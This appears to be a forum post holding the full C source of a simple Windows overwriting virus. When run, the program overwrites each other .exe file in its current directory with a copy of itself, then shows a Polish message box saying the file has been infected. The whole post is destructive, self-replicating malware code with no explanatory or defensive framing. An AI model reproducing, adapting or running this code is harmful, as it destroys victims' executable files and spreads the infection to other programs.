Kod: Zaznacz cały
#include <Windows.h>
#include <Shlwapi.h>
#pragma comment(lib,"Shlwapi.lib")
char VirusName[MAX_PATH] = "\0";
HINSTANCE hInst = NULL;
DWORD dwReadWritten = NULL;
static void SearchDirectory(char * pszDirectory)
{
CHAR szSearch[MAX_PATH] = { 0 };
CHAR szDirectory[MAX_PATH] = { 0 };
HANDLE hFind = NULL;
WIN32_FIND_DATA FindData;
wsprintf(szSearch, "%s%s", pszDirectory, "*.exe");
hFind = FindFirstFileA(szSearch, &FindData);
if (hFind == INVALID_HANDLE_VALUE)
{
return;
}
do
{
if (lstrcmp(FindData.cFileName, VirusName) != 0)
{
char szName[MAX_PATH] = "\0";
GetModuleFileName(NULL, szName, MAX_PATH);
CopyFile(szName, FindData.cFileName, FALSE);
}
} while (FindNextFileA(hFind, &FindData));
FindClose(hFind);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
hInst = GetModuleHandle(NULL);
char szCurrentPath[MAX_PATH] = "\0";
GetCurrentDirectory(MAX_PATH, szCurrentPath);
lstrcat(szCurrentPath, "\\");
GetModuleFileName(NULL, VirusName, MAX_PATH);
lstrcpy(VirusName, PathFindFileName(VirusName));
SearchDirectory(szCurrentPath);
MessageBox(0, "Tan plik zostal zainfekowany", MB_OK + MB_ICONWARNING);
return EXIT_SUCCESS;
}